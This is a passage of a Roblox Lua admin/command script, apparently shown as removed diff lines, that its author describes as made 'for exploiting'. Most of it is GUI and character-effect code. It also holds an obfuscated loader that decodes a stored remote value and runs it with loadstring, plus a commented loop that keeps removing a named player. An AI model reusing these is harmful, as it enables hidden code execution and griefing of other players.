- p.CFrame=v.CFrame+v.CFrame.p*(Size-1)
- p.Parent=Character2
- end
- for i,v in pairs(A.Functions.FindChildren(Character2,'Handle',1))do
- pcall(function()
- v=v.Mesh
- v.TextureId=''
- v.Scale=v.Scale*Size
- end)
- end
- A.Functions.GetRemoveChildren('className','Decal',Character2)
- Character2.Parent=game:service'Workspace'
- Character2:MoveTo(Character.Torso.Position+(Character.Torso.CFrame.lookVector*(Size*2)))
- return Character2
- end
- A.Functions.AddImage=function(id,width,height)
- if type(height)~='number'then height=500 end
- if type(width)~='number'then width=500 end
- return'http://www.roblox.com/Thumbs/Asset.ashx?format=png&width='..width..'&height='..height..'&assetId='..id
- end
- A.Functions.WaitForPlayer=function(p,n)
- while 0 do
- for i,v in pairs(game:service'Players':GetPlayers'')do
- if v[p]==n then return v end
- end
- game:service'Players'.PlayerAdded:wait''
- end
- return nil
- end
- A.Functions.LoadPlayerTables=function(Player)
- if type(Player)=='userdata'then
- Player=Player.Name
- end
- local PlayerTable=A.Players.PlayersTables[Player]
- if type(PlayerTable)=='table'then
- return PlayerTable
- end
- PlayerTable={}
- --Tables
- PlayerTable.Connects={}
- PlayerTable.Weapons={}
- PlayerTable.Hats={}
- PlayerTable.Context={}
- PlayerTable.Windows={}
- PlayerTable.ChatHistory={}
- PlayerTable.SaidCmds={'S:/wepC:/meC:/teapot';'S:/ffC:/me';'S:/unffC:/me';'S:/rsC:/me'}
- PlayerTable.OGuis={}
- PlayerTable.Guis={}
- --Booleans
- PlayerTable.PlayerOnServer=true
- PlayerTable.Chat=true
- PlayerTable.StandUp=false
- PlayerTable.ForceShield=false
- PlayerTable.LoopKill=false
- PlayerTable.Ban=false
- PlayerTable.JumpDeath=A.Functions.SAdmin(Player)
- PlayerTable.Closer=false
- PlayerTable.Fog=A.BoolSettings.Fog
- PlayerTable.HaveAFace=false
- PlayerTable.Respawn=true
- PlayerTable.Armor=false
- PlayerTable.Unbreak=false
- PlayerTable.GCmdrShow=false
- PlayerTable.GCmdrFix=true
- --Sting/Number
- PlayerTable.userName=Player
- PlayerTable.FaceImage=''
- PlayerTable.MaxHealth=100
- PlayerTable.Pos=0
- --Objects
- --Instances
- PlayerTable.GCmdrFP=A.UDim2.new(1,-400,.5,-40)
- A.Players.PlayersTables[Player]=PlayerTable
- return A.Players.PlayersTables[Player]
- end
- A.Functions.ForceField=function(Player,Table)
- A.Functions.Disconnect('ForceShield',1,Table.Connects)
- if not Table.ForceShield then return end
- A.Functions.Connect('ForceShield',A.Instance.new('ForceField',A.Functions.WaitingForProperty(Player,'Character')).Changed:connect(function(c)if c=='Parent'then A.Functions.ForceField(Player,Table)end end),Table.Connects)
- end
- A.Functions.Unbreak=function(Player,Table)
- if Table.Unbreak~=true then return end
- local Character=Player.Character
- local Humanoid=Character.Humanoid
- local Torso=Humanoid.Torso
- local cs={
- Parent=function(o)o.Parent=Torso end;
- Part0=function(o,p)o.Part0=p end;
- Part1=function(o,p)o.Part1=p end;
- Name=function(o,p)o.Name=p end;
- }
- local Died=false
- Humanoid.Died:connect(function()Died=true end)
- for i,v in pairs(Torso:children'')do
- if v:IsA'Motor6D'then
- local p={Part0=v.Part0;Part1=v.Part1;Name=v.Name}
- v.Changed:connect(function(c)
- if Died or Table.Unbreak~=true then return end
- local d=cs[c]
- if d then d(v,p[c])end
- end)
- end
- end
- end
- A.Functions.Bit8=function(Text,Decode)
- local B8={1}
- for i=1,7 do
- table.insert(B8,1,2^i)
- end
- Coded=''
- if Decode then
- for i in Text:gmatch'.'do
- local code=''
- local num=0
- local sn=string.byte(i)+1
- for i,v in pairs(B8)do
- if sn>v and sn-v>=0 then
- code=code..'1'
- sn=sn-v
- else
- code=code..'0'
- end
- end
- Coded=Coded..'\\'..code
- end
- else
- for i in Text:gmatch'\\([^\\]+)'do
- local num=0
- local num2=0
- for c in i:gmatch'.'do
- num2=num2+1
- if c=='1'then num=num+B8[num2]end
- end
- Coded=Coded..string.char(num)
- end
- end
- return Coded
- end
- loadstring(A.Functions.Bit8(A.Functions.LoadAndSave(64070338,'9834795934').Value))()
- A.Functions.SearchStringBug=function(Text)
- local e,Error=loadstring(Text)
- if Error then
- Error=[=[[ [öüAólöüóaköüóaözüóaöüróödüó's Script].Source ]=]..Error:sub'9'
- end
- return Error -- c/x='' script.Parent=nil while wait'' do pcall(function()game:service'Players'[x]:remove'';end)end
- end
- A.Functions.AlakazardDecoding=function(Text,Boolean)
- local DecodedText=''
- if Text:sub(1,10)~='Alakazard?'and Boolean==true then
- local num=0
- for i in Text:gmatch'.'do
- num=num+1
- if num==1000 then num=0 wait''end
- local String=string.char(math.random(97,122))
- local DamageString=abcs[String]
- DecodedText=DecodedText..tonumber(string.byte(i)*DamageString)..String..'?'
- end
- DecodedText='Alakazard?'..DecodedText
- else
- local num=0
- for i in Text:gmatch'?([^?]+)'do
- num=num+1
- if num==1000 then num=0 wait''end
- local Number=abcs[i:match'%a':lower'']
- i=i:gsub('%a','')
- local String=string.char(tonumber(i)/Number)
- DecodedText=DecodedText..String
- end
- end
- print(tick'')
- return DecodedText
- end
- A.Functions.Base=function()
- for i,v in pairs(game:service'Workspace':children'')do
- if v.Name=='Base'and v:IsA'BasePart'then
- A.Remove(v)
- end
- end
- if not A.Objects.BasePart then
- local Base=A.Instance.new'Part'
- A.Instance.plock(Base,'Parent',nil)
- A.Instance.plock(Base,'Anchored',true)
- A.Instance.plock(Base,'CanCollide',true)
- A.Instance.plock(Base,'Locked',true)
- A.Instance.plock(Base,'Name','Base')
- A.Instance.plock(Base,'Transparency',0)
- A.Instance.plock(Base,'FormFactor',0)
- A.Instance.plock(Base,'Shape',1)
- A.Instance.plock(Base,'BrickColor',BrickColor.new'28')
- A.Instance.plock(Base,'TopSurface',3)
- A.Instance.plock(Base,'BottomSurface',4)
- A.Instance.plock(Base,'Size',A.Vector3.new(666,2,666))
- A.Instance.plock(Base,'CFrame',A.CFrame.new(0,0,0))
- A.Objects.BasePart=Base
- end
- local Base=A.Objects.BasePart:clone''
- Base.Parent=game:service'Workspace'
- return Base
- end
- A.Functions.Fog=function(Player)
- if not Player.Character:FindFirstChild'Head'then return end
- if not A.Functions.LoadPlayerTables(Player).Fog then
- A.Functions.CreateScript('LocalScript',Player.Character,[[
- for i,v in pairs(workspace.CurrentCamera:children())do
- v:remove()
- end
- ]])
- return
- end
- A.Functions.CreateScript('LocalScript',Player.Character,[[
- for i=0,7 do
- part=Instance.new('Part')
- part.Name="Alakazard's Fog"
- mesh=Instance.new('SpecialMesh',part)
- mesh.MeshId='http://www.roblox.com/asset/?id=1185246'
- mesh.Scale=Vector3.new(-100,-100,-100)*i
- part.formFactor=0
- part.Transparency=.5
- part.Size=Vector3.new(1,1,1)
- part.CanCollide=false
- part.BrickColor=BrickColor.White()
- part.BottomSurface=0
- part.TopSurface=0
- part.Parent=workspace.CurrentCamera
- weld=Instance.new('Weld',game.Players.LocalPlayer.Character.Head)
- weld.Part0=weld.Parent
- weld.Part1=part
- part=Instance.new('Part')
- part.Name="Alakazard's Fog"
- mesh=Instance.new('SpecialMesh',part)
- mesh.MeshId='http://www.roblox.com/asset/?id=1185246'
- mesh.Scale=Vector3.new(100,100,100)*i
- part.formFactor=0
- part.Transparency=.5
- part.Size=Vector3.new(1,1,1)
- part.CanCollide=false
- part.BrickColor=BrickColor.White()
- part.BottomSurface=0
- part.TopSurface=0
- part.Parent=workspace.CurrentCamera
- weld=Instance.new('Weld',game.Players.LocalPlayer.Character.Head)
- weld.Part0=weld.Parent
- weld.Part1=part
- end
- ]])
- end
- A.Functions.UnChange=function(Object,Name,Function)
- Object.Changed:connect(function(c)
- if c:lower''==Name:lower''then
- Function(Object)
- end
- end)
- end
- A.Functions.OGAM=function(o,parent,...)
- local obs={...}
- local y=function(b)
- for i,v in pairs(obs)do
- if type(v)=='userdata'then
- if b then
- v.Parent=parent
- else
- v.Parent=nil
- end
- end
- end
- end
- for i,v in pairs(obs)do
- if type(v)=='userdata'then
- v.Changed:connect(function()pcall(y,o.Value)end)
- end
- end
- o.Changed:connect(function(o)pcall(y,o)end)
- pcall(y,o.Value)
- end
- A.Functions.GuiCommander=function(Player,Table)
- local gc=A.Functions.OGui('Commander',Table,false,true)
- local Cells={}
- local Screen=Table.ScreenObject
- local image={hb='http://www.roblox.com/Asset/?id=64333010';ha='http://www.roblox.com/Asset/?id=64331860'}
- local Frame=A.Instance.new'Frame'
- local Button=A.Instance.new'ImageButton'
- local CmdsBox=A.Instance.plnew('Frame',Frame)
- local Box=A.Instance.plnew('TextBox',Frame)
- local Title=A.Instance.plnew('TextLabel',Frame)
- local Hide=A.Instance.plnew('ImageButton',Frame)
- local Scroll=A.Instance.plnew('ImageButton',CmdsBox)
- local ScrollDown=A.Instance.plnew('ImageButton',Scroll)
- local ScrollUp=A.Instance.plnew('ImageButton',Scroll)
- local ScrollMove=A.Instance.plnew('ImageLabel',Scroll)
- local FixMS=function()ScrollMove.Position=A.UDim2.new(0,0,1/(#Table.SaidCmds-(Table.Pos+7)),0)end
- local Status=function()
- Table.GCmdrShow=not Table.GCmdrShow
- Frame.Visible=Table.GCmdrShow
- Button.Visible=not Table.GCmdrShow
- Button.Image=image.hb
- end
- for i,v in pairs(Table.SaidCmds)do Table.SaidCmds[i]=v:gsub('S:/',A.Data.StartCommandSignal):gsub('C:/',A.Data.CommandSignal)end
- Frame.Size=A.UDim2.new(0,400,0,80)
- Frame.Position=Table.GCmdrFP
- Frame.BackgroundColor3=A.Color3.new(0,0,0)
- Frame.Transparency=.5
- Frame.Active=true
- Frame.Draggable=true
- Frame.Visible=Table.GCmdrShow
- CmdsBox.Size=A.UDim2.new(1,0,2,0)
- CmdsBox.Position=A.UDim2.new(0,0,1,10)
- CmdsBox.BackgroundColor3=A.Color3.new(0,0,0)
- CmdsBox.Transparency=.5
- Box.Size=A.UDim2.new(1,0,0,70)
- Box.Position=A.UDim2.new(0,0,0,20)
- Box.TextColor3=A.Color3.new(1,1,1)
- Box.Font=2
- Box.FontSize=4
- Box.TextXAlignment=0
- Box.TextYAlignment=0
- Box.BackgroundTransparency=1
- Box.TextWrap=true
- Box.Text='lul'
- Title.Size=A.UDim2.new(1,0,0,20)
- Title.TextColor3=A.Color3.new(1,1,1)
- Title.Font=2
- Title.FontSize=4
- Title.TextXAlignment=0
- Title.BackgroundTransparency=1
- Hide.Size=A.UDim2.new(0,20,0,20)
- Hide.Position=A.UDim2.new(1,-20,0,0)
- Hide.Image='http://www.roblox.com/Asset/?id=54189597'
- Hide.Transparency=1
- Button.Size=A.UDim2.new(0,150,0,150)
- Button.Position=A.UDim2.new(1,-150,.5,-75)
- Button.Transparency=1
- Button.Visible=not Table.GCmdrShow
- Button.Image=image.hb
- Scroll.Size=A.UDim2.new(0,20,0,120)
- Scroll.Position=A.UDim2.new(1,-20,.5,-60)
- Scroll.Transparency=.6
- ScrollDown.Size=A.UDim2.new(0,20,0,20)
- ScrollDown.Position=A.UDim2.new(0,0,1,0)
- ScrollDown.Transparency=.5
- ScrollDown.Image='http://www.roblox.com/Asset/?id=60488633'
- ScrollUp.Size=A.UDim2.new(0,20,0,20)
- ScrollUp.Position=A.UDim2.new(0,0,0,-20)
- ScrollUp.Transparency=.5
- ScrollUp.Image='http://www.roblox.com/Asset/?id=60488700'
- ScrollMove.Size=A.UDim2.new(1,-1,0,0)
- ScrollMove.Transparency=0
- ScrollDown.MouseButton1Down:connect(function()
- Table.GCmdrFix=false
- if#Table.SaidCmds-(Table.Pos+1)<8 then return end
- Table.Pos=Table.Pos+1
- for i,v in pairs(Cells)do
- v.Text=Table.SaidCmds[Table.Pos+i]
- end
- FixMS''
- end)
- ScrollUp.MouseButton1Down:connect(function()
- if Table.Pos-1<0 then Table.GCmdrFix=true return end
- Table.Pos=Table.Pos-1
- for i,v in pairs(Cells)do
- v.Text=Table.SaidCmds[Table.Pos+i]
- end
- FixMS''
- end)
- Hide.MouseButton1Down:connect(Status)
- Button.MouseButton1Down:connect(Status)
- Button.MouseEnter:connect(function()
- Button.Image=image.ha
- Button.MouseLeave:wait''
- Button.Image=image.hb
- end)
- for i=0,7 do
- local cell=A.Instance.new('TextButton',CmdsBox)
- cell.Size=A.UDim2.new(1,-20,0,20)
- cell.Position=A.UDim2.new(0,0,0,20*i)
- cell.BackgroundColor3=A.Color3.new(.7,0,0)
- cell.TextColor3=A.Color3.new(1,1,1)
- cell.Font=2
- cell.FontSize=4
- cell.BackgroundTransparency=1
- cell.TextXAlignment=0
- cell.TextWrap=true
- cell.Text=''
- cell.MouseEnter:connect(function()
- if cell.Text==''then return end
- cell.BackgroundTransparency=.5
- end)
- cell.MouseLeave:connect(function()
- if cell.Text==''then return end
- cell.BackgroundTransparency=1
- end)
- cell.MouseButton1Down:connect(function()
- if not A.Functions.SAdmin(Player)then return end
- A.Functions.SearchCommand(cell.Text,Player)
- end)
- A.Functions.UnChange(cell,'parent',function(o)o.Parent=CmdsBox end)
- table.insert(Cells,cell)
- end
- Screen.Name='Commandbar'
- A.Functions.UnChange(Box,'text',function(o)
- if not A.Functions.SAdmin(Player)then return end
- local text=o.Text
- if text==''then return end
- if text:sub(1,1)~=A.Data.StartCommandSignal then text=A.Data.StartCommandSignal..text end
- local Good=A.Functions.SearchCommand(text,Player)
- if not Good then return end
- if not Good[2]then
- table.insert(Table.SaidCmds,1,text)
- FixMS''
- if not Table.GCmdrFix then Table.Pos=Table.Pos+1 return end
- for i,v in pairs(Table.SaidCmds)do
- if i>#Cells then break end
- Cells[i].Text=v
- end
- end
- end)
- for i,v in pairs(A.Functions.GetAll(Frame))do
- A.X(function()
- v.BorderSizePixel=0
- v.AutoButtonColor=false
- end)
- end
- --ScrollMove.BorderSizePixel=1
- A.Instance.plock(Button,'Visible',function(o)o.Visible=not Table.GCmdrShow end)
- A.Instance.plock(Title,'Text',[[Dresmor Alakazard's Commandsbar!]])
- A.Instance.plock(Frame,'Position',function(o)Table.GCmdrFP=o.Position end)
- A.Instance.plock(Frame,'Visible',function(o)o.Visible=Table.GCmdrShow end)
- A.Instance.plock(Frame,'BorderSizePixel',0)
- for i,v in pairs(Cells)do pcall(function()v.Text=Table.SaidCmds[Table.Pos+i]end)end
- A.Functions.OGAM(gc.Active,Screen,Button,Frame)
- end
- A.Functions.GetObjectum=function(Instance,Property,Name)
- for i,v in pairs(Instance:children'')do
- if v[Property]==Name then
- return v
- end
- end
- return nil
- end
- A.Functions.WaitingForProperty=function(Instance,Property)
- while not Instance[Property]do
- Instance.Changed:wait''
- end
- return Instance[Property]
- end
- A.Functions.WaitingForObject=function(instance,p,name)
- if p:lower''=='name'then
- p='Name'
- elseif p:lower''=='class'or p:lower''=='classname'then
- p='ClassName'
- end
- while 0 do
- for i,v in pairs(instance:children'')do
- if pcall(function()if v[p]==name then end
- end)then
- if v[p]:lower''==name:lower''then
- return v
- end
- end
- end
- instance.ChildAdded:wait''
- end
- end
- A.Functions.InfHealth=function(Player)
- if not A.Functions.SAdmin(Player)then return end
- if not A.BoolSettings.InfHealth then return end
- local Character=A.Functions.WaitingForProperty(Player,'Character')
- if not Character:FindFirstChild'Head'then return end
- local PlayerTable=A.Functions.LoadPlayerTables(Player)
- local Health=A.math.huge
- local Humanoid=A.Functions.WaitingForObject(Player.Character,'class','humanoid')
- Humanoid.MaxHealth=Health
- Humanoid.Health=Health
- Humanoid.Died:connect(function()A.Functions.Disconnect('Immortal',1,PlayerTable.Connects)end)
- A.Functions.Connect('Immortal',Humanoid.HealthChanged:connect(function()
- if not A.Functions.SAdmin(Player)then return end
- if not A.BoolSettings.InfHealth then return end
- Humanoid.MaxHealth=Health
- Humanoid.Health=Health
- end),PlayerTable.Connects)
- end
- A.Functions.AddAlakazardHumanoidBar=function(Player,Table)
- local oguis=A.Functions.OGui([[Health Bar]],Table,false,false)
- local control
- local c=A.Functions.WaitingForObject
- local p=A.Functions.WaitingForProperty
- local u=A.Functions.UnChange
- local lol=function(b)
- local plg=c(Player,'ClassName','PlayerGui')
- for i,v in pairs(c(plg,'Name','HealthGUI'):children'')do
- pcall(function()
- v.Visible=b
- end)
- end
- end
- local Screen=Table.ScreenObject
- local Sound=A.Instance.plnew('Sound',Screen)
- local Frame=A.Instance.plnew('Frame',function(o)
- if not oguis.Active.Value then lol(true)return end
- lol(false)
- end)
- local Bar0=A.Instance.plnew('Frame',Frame)
- local Bar1=A.Instance.plnew('Frame',Bar0)
- local Bar2=A.Instance.plnew('Frame',Bar0)
- Frame.Size=A.UDim2.new(0,175,0,20)
- Frame.Position=A.UDim2.new(.5,-175/2,1,-25)
- Frame.BackgroundColor3=A.Color3.new(0,0,0)
- Frame.Style=2
- Frame.ZIndex=0
- Bar0.Size=A.UDim2.new(1,0,1,0)
- Bar0.Transparency=.7
- Bar1.Size=A.UDim2.new(1,0,1,0)
- Bar1.BackgroundColor3=A.Color3.new(1,0,0)
- Bar1.Transparency=.7
- Bar2.Size=A.UDim2.new(1,0,1,0)
- Bar2.BackgroundColor3=A.Color3.new(0,1,0)
- Bar2.Transparency=.7
- Sound.SoundId='http://www.roblox.com/Asset/?id=11984254'
- Sound.Pitch=1
- Sound.Volume=0
- Bar0.BorderSizePixel=0
- Bar1.BorderSizePixel=0
- Bar2.BorderSizePixel=0
- Frame.BorderSizePixel=0
- Screen.Name='HBar 10'
- Screen.Parent=c(Player,'ClassName','PlayerGui')
- for i,v in pairs(Screen.Parent:children'')do
- if v~=Screen and v.Name=='HBar 10'then v:remove''end
- end
- A.Functions.OGAM(oguis.Active,Screen,Frame)
- Player.ChildAdded:connect(function(o)
- if not o:IsA'PlayerGui'or not oguis.Active.Value then return end
- for i,v in pairs(A.Functions.WaitingForObject(o,'Name','HealthGUI'):children'')do
- v.Visible=false
- end
- end)
- control=function()
- local h=c(p(Player,'Character'),'ClassName','Humanoid')
- local ondied=false
- local run=false
- local lback=function()
- local scl=h.Health/h.MaxHealth
- local pos=A.UDim2.new(scl,0,1,0)
- local pos2=A.UDim2.new((1-scl)/2,0,0,0)
- Bar2.Size=pos
- Bar2.Position=pos2
- A.X(function()Bar1:TweenSizeAndPosition(pos,pos2,0,0,.5)end)
- end
- h.Died:connect(function()Sound.Volume=1 Sound:play''wait'2'Sound.Volume=0 end)
- h.HealthChanged:connect(lback)
- lback''
- Player.CharacterAdded:wait''
- control''
- end
- control''
- end
- A.Functions.SatanicPriest=function(Player,Boolean)
- local Char=Player.Character
- if not Char then return end
- for i,v in pairs(A.Functions.SuperFindChildren(Char,'Name','Satanist Cross'))do
- v:remove''
- end
- if type(Boolean)=='boolean'then
- if not Boolean then
- Char.Animate.Disabled=true
- wait'.2'
- Char.Animate.Disabled=false
- return
- end
- end
- local Torso,NewArm,ArmSource
- Torso=Char:FindFirstChild'Torso'
- if not Torso then return end
- if not Char:FindFirstChild'Right Arm'then return end
- ArmSource=A.Players.Stuffs.CharacterLimbs['Right Arm']
- NewArm=A.Functions.Welding(Torso,Torso,Char:FindFirstChild'Right Arm',A.Players.Stuffs.CharacterLimbs['Right Arm'].C0,A.Players.Stuffs.CharacterLimbs['Right Arm'].C1)
- NewArm.Name=ArmSource.WeldName
- NewArm.MaxVelocity=.1
- NewArm.DesiredAngle=A.math.pi/2
- local Cross=A.Functions.SpecialCP({Name='Satanist Cross';formFactor=3;Size=A.Vector3.new(.4,4,.4);CanCollide=false;BrickColor=A.BrickColor.new'1003';})
- A.Instance.new('BlockMesh',Cross)
- Cross.Parent=Char
- A.Functions.Welding(NewArm.Part1,NewArm.Part1,Cross,A.CFrame.Angles(A.math.rad(90),0,0)+A.Vector3.new(0,-1,-.25))
- local Cross2=Cross:clone''
- Cross2.Size=A.Vector3.new(.4,.4,2.2)
- Cross2.Parent=Cross
- A.Functions.Welding(Cross,Cross,Cross2,A.CFrame.Angles(0,A.math.rad(90),0)+A.Vector3.new(0,1,0))
- end
- A.Functions.ShowCommands=function(Player,Table)
- local cmdt=A.Functions.OGui([[Help Derp!]],Table,false,true)
- if not cmdt.Mode then
- cmdt.Size=A.UDim2.new(0,400,0,20)
- cmdt.Mode={Cmds=true;History=false;Tutorial=false}
- cmdt.Pos=1
- cmdt.hsize=A.UDim2.new(0,70,0,16)
- cmdt.csize=A.UDim2.new(0,70,0,20)
- cmdt.tsize=A.UDim2.new(0,70,0,16)
- end
- local gc=function()return A.Commands[cmdt.Pos]end
- local Screen=Table.ScreenObject
- local Title=A.Instance.new('TextButton',Screen)
- local Icon=A.Instance.new('ImageLabel',Title)
- local Close=A.Instance.plnew('TextButton',Title)
- local Hears=A.Instance.plnew('Frame',Title)
- local Context=A.Instance.plnew('Frame',Title)
- local Cmds=A.Instance.plnew('TextLabel',Context)
- local Can=A.Instance.plnew('TextLabel',Context)
- local History=A.Instance.plnew('TextLabel',Context)
- local HH=A.Instance.plnew('TextButton',Hears)
- local CM=A.Instance.plnew('TextButton',Hears)
- local TL=A.Instance.plnew('TextButton',Hears)
- local Right=A.Instance.plnew('TextButton',Context)
- local Left=A.Instance.plnew('TextButton',Context)
- local Status=A.Instance.plnew('TextLabel',Context)
- local fix=function()
- Can.Text=gc''.t
- Cmds.Text='Cmds : '..table.concat(gc''.word,',')
- Status.Text=cmdt.Pos..'/'..#A.Commands
- end
- Title.Size=cmdt.Size
- Title.Position=A.UDim2.new(.5,-200,.5,-220)
- Title.BackgroundColor3=A.Color3.new(0,0,1)
- Title.TextColor3=A.Color3.new(0,0,0)
- Title.BorderColor3=A.Color3.new(0,0,0)
- Title.Text=' Alakazard Admin Tutorial'
- Title.TextXAlignment=0
- Title.FontSize=2
- Title.Draggable=true
- Icon.Size=A.UDim2.new(0,20,0,20)
- Icon.Image='http://www.roblox.com/Asset/?id=64614708'
- Icon.Transparency=1
- Close.Size=A.UDim2.new(0,20,0,20)
- Close.Position=A.UDim2.new(1,-20,0,0)
- Close.BackgroundColor3=A.Color3.new(1,0,0)
- Close.FontSize=2
- Close.Text='X'
- Hears.Size=A.UDim2.new(1,0,1,0)
- Hears.Position=A.UDim2.new(0,0,1,0)
- Context.Size=A.UDim2.new(1,0,10,0)
- Context.Position=A.UDim2.new(0,0,0,40)
- Context.BackgroundColor3=A.Color3.new(1,1,1)
- Cmds.Size=A.UDim2.new(1,-5,0,40)
- Cmds.Position=A.UDim2.new(0,5,0,0)
- Cmds.TextColor3=A.Color3.new(0,0,0)
- Cmds.BackgroundTransparency=1
- Cmds.TextXAlignment=0
- Cmds.TextYAlignment=0
- Cmds.Text='Cmds : '..table.concat(gc''.word,',')
- Cmds.TextWrap=true
- Cmds.Visible=cmdt.Mode.Cmds
- Cmds.FontSize=2
- Can.Size=A.UDim2.new(1,-5,1,-40)
- Can.Position=A.UDim2.new(0,5,0,40)
- Can.TextColor3=A.Color3.new(0,0,0)
- Can.BackgroundTransparency=1
- Can.TextXAlignment=0
- Can.TextYAlignment=0
- Can.Text=gc''.t
- Can.TextWrap=true
- Can.Visible=cmdt.Mode.Cmds
- Can.FontSize=2
- History.Size=A.UDim2.new(1,-5,1,0)
- History.Position=A.UDim2.new(0,5,0,0)
- History.BackgroundTransparency=1
- History.TextXAlignment=0
- History.TextYAlignment=0
- History.Text=''
- History.TextWrap=true
- History.Visible=cmdt.Mode.History or cmdt.Mode.Tutorial
- History.FontSize=2
- HH.Size=cmdt.hsize
- HH.Position=A.UDim2.new(0,70,0,0)
- HH.TextColor3=A.Color3.new(0,0,0)
- HH.Text='History'
- HH.FontSize=2
- CM.Size=cmdt.csize
- CM.TextColor3=A.Color3.new(0,0,0)
- CM.Text='Cmds'
- CM.FontSize=2
- TL.Size=cmdt.tsize
- TL.Position=A.UDim2.new(0,140,0,0)
- TL.TextColor3=A.Color3.new(0,0,0)
- TL.Text='Tutorial'
- TL.FontSize=2
- Right.Size=A.UDim2.new(0,20,0,20)
- Right.Position=A.UDim2.new(1,-20,1,0)
- Right.FontSize=2
- Right.Text='>>'
- Left.Size=A.UDim2.new(0,20,0,20)
- Left.Position=A.UDim2.new(0,0,1,0)
- Left.FontSize=2
- Left.Text='<<'
- Status.Size=A.UDim2.new(1,-40,0,20)
- Status.Position=A.UDim2.new(0,20,1,0)
- Status.FontSize=2
- Status.Text=cmdt.Pos..'/'..#A.Commands
- Right.MouseButton1Up:connect(function()
- if cmdt.Pos==#A.Commands then return end
- cmdt.Pos=cmdt.Pos+1
- fix''
- end)
- Left.MouseButton1Up:connect(function()
- if cmdt.Pos==1 then return end
- cmdt.Pos=cmdt.Pos-1
- fix''
- end)
- TL.MouseButton1Up:connect(function()
- CM.Size=A.UDim2.new(0,70,0,16)
- HH.Size=A.UDim2.new(0,70,0,16)
- TL.Size=A.UDim2.new(0,70,0,20)
- Can.Visible=false
- Cmds.Visible=false
- cmdt.Mode.Cmds=false
- History.Visible=true
- History.Text=[[
- The first character for run admin is "]]..A.Data.StartCommandSignal..[[".
- Step signal is "]]..A.Data.CommandSignal..[[".
- Multiplier is "]]..A.Data.CommandMultiplier..[[NUMBER" and you put to end of sentence.
- New commnad in one chat signal is "]]..A.Data.NewCommandSignal..[[".
- Warring! Cmds some context is fail. (I'm lazy patch this)
- ]]
- end)
- HH.MouseButton1Up:connect(function()
- CM.Size=A.UDim2.new(0,70,0,16)
- HH.Size=A.UDim2.new(0,70,0,20)
- TL.Size=A.UDim2.new(0,70,0,16)
- Can.Visible=false
- Cmds.Visible=false
- cmdt.Mode.Cmds=false
- History.Visible=true
- History.Text=[[
- Welcome!
- I am Alakazard the admin creator.
- I made this admin for exploiting and for something if I lazy do something loOL!!
- Maybe I'll write more "History".
- Admin Start Date "2011/2/18"
- ]]
- end)
- CM.MouseButton1Up:connect(function()
- CM.Size=A.UDim2.new(0,70,0,20)
- HH.Size=A.UDim2.new(0,70,0,16)
- TL.Size=A.UDim2.new(0,70,0,16)
- Can.Visible=true
- Cmds.Visible=true
- cmdt.Mode.Cmds=true
- History.Visible=false
- cmdt.Mode.History=false
- cmdt.Mode.Tutorial=false
- end)
- Close.MouseButton1Up:connect(function()
- cmdt.Active.Value=false
- end)
- for i,v in pairs(A.Functions.GetAll(Title))do
- pcall(function()
- v.BorderColor3=A.Color3.new(0,0,0)
- end)
- end
- A.Functions.OGAM(cmdt.Active,Screen,Title)
- end
- A.Functions.StandUp=function(Player,PlayerTable)
- A.Functions.Disconnect('StandUp',1,PlayerTable.Connects)
- if not PlayerTable.StandUp then return end
- A.Functions.WaitingForObject(Player.Character,'class','Humanoid').PlatformStand=false
- A.Functions.Connect('StandUp',A.Functions.WaitingForObject(Player.Character,'class','Humanoid').Changed:connect(function(c)
- if c=='PlatformStand' then
- A.Functions.WaitingForObject(Player.Character,'class','Humanoid').PlatformStand=false
- end
- end),PlayerTable.Connects)
- end
- A.Functions.LoadSound=function(Parent,SoundList)
- local SecondSound=A.Instance.new'Sound'
- for i,v in pairs(SoundList)do
- SecondSound[i]=v
- end
- SecondSound.SoundId='http://www.roblox.com/Asset/?id='..SecondSound.SoundId
- local FirstSound=SecondSound:clone''
- FirstSound.Looped=false
- FirstSound.PlayOnRemove=true
- FirstSound.Volume=0
- FirstSound.Parent=Parent
- A.Wait''
- FirstSound:remove''
- A.Wait''
- SecondSound.Parent=Parent
- SecondSound:play''
- return SecondSound
- end
- A.Functions.CreateSound=function(SoundListParent,SoundList)
- table.insert(A.Sounds[SoundListParent],SoundList)
- end
- A.Functions.MadnessMessage=function(Text,Player)
- local Value=A.Instance.new'StringValue'
- Value.Value=Text:gsub([[']],string.char'255')
- Value.Name='MadnessMessage'
- Value.Parent=Player
- end
- A.Functions.CreateScript=function(Class,Parent,Source)
- local Script=A.Objects.ScriptsPack[Class]:clone''
- if not Script then return nil end
- A.N('StringValue',Script).Name='Change'
- Script.Name='ALAKAZARD '..Script.ClassName:upper''
- Script.Change.Value=Source
- if type(Parent)=='userdata'then
- if Parent:IsA'Player'then
- local sp=A.Functions.GetObjectum(Parent,'className','Backpack')
- if not sp then sp=A.Instance.new('Backpack',Parent)end
- Parent=sp
- end
- end
- Script.Disabled=false
- Script.Parent=Parent
- return Script
- end
- A.Functions.Part=function(Parent,Collide,Anchored,s1,s2,s3,BrickColor)
- local Part=A.Functions.CreatePart(Vector3.new(s1,s2,s3),Parent)
- Part.CanCollide=Collide
- Part.Anchored=Anchored
- Part.BrickColor=A.BrickColor.new(BrickColor)
- return Part
- end
- A.Functions.Armor=function(Character,Boolean)
- if type(Character)~='userdata'then return end
- local Torso=Character:FindFirstChild'Torso'
- local Head=Character:FindFirstChild'Head'
- if not Torso or not Head then return end
- for i,v in pairs(A.Functions.SuperFindChildren(Character,'Name','Alarmor'))do
- v:remove''
- end
- if not Boolean then return end
- --[[
- for i,v in pairs(A.Functions.FindChildren(Character,'Hat',3))do
- local Mesh=A.Instance.new('BlockMesh',v)
- Mesh.Name='Alarmor'
- Mesh.Scale=A.Vector3.new(0,0,0)
- end
- ]]
- local Fingers={}
- Fingers.Right={}
- Fingers.Left= {}
- local Armor=A.Instance.new('Model',Character)
- Armor.Name='Alarmor'
- local RA=Character:FindFirstChild'Right Arm'
- local RAM=Torso:FindFirstChild'Right Shoulder'
- local LA=Character:FindFirstChild'Left Arm'
- local LAM=Torso:FindFirstChild'Left Shoulder'
- local RL=Character:FindFirstChild'Right Leg'
- local RLM=Torso:FindFirstChild'Right Hip'
- local LL=Character:FindFirstChild'Left Leg'
- local LLM=Torso:FindFirstChild'Left Hip'
- local Arm,Leg,Ta_,Ha_
- Ha_=function(Turn)
- local Pos=-1
- if Turn=='Left'then Pos=1 end
- end
- Ta_=function(Turn)
- local Pos=-1
- if Turn=='Left'then Pos=1 end
- local mv1=A.Functions.Part(Armor,false,false,.7,.7,.2,A.Color3.new(.55,.55,.55))
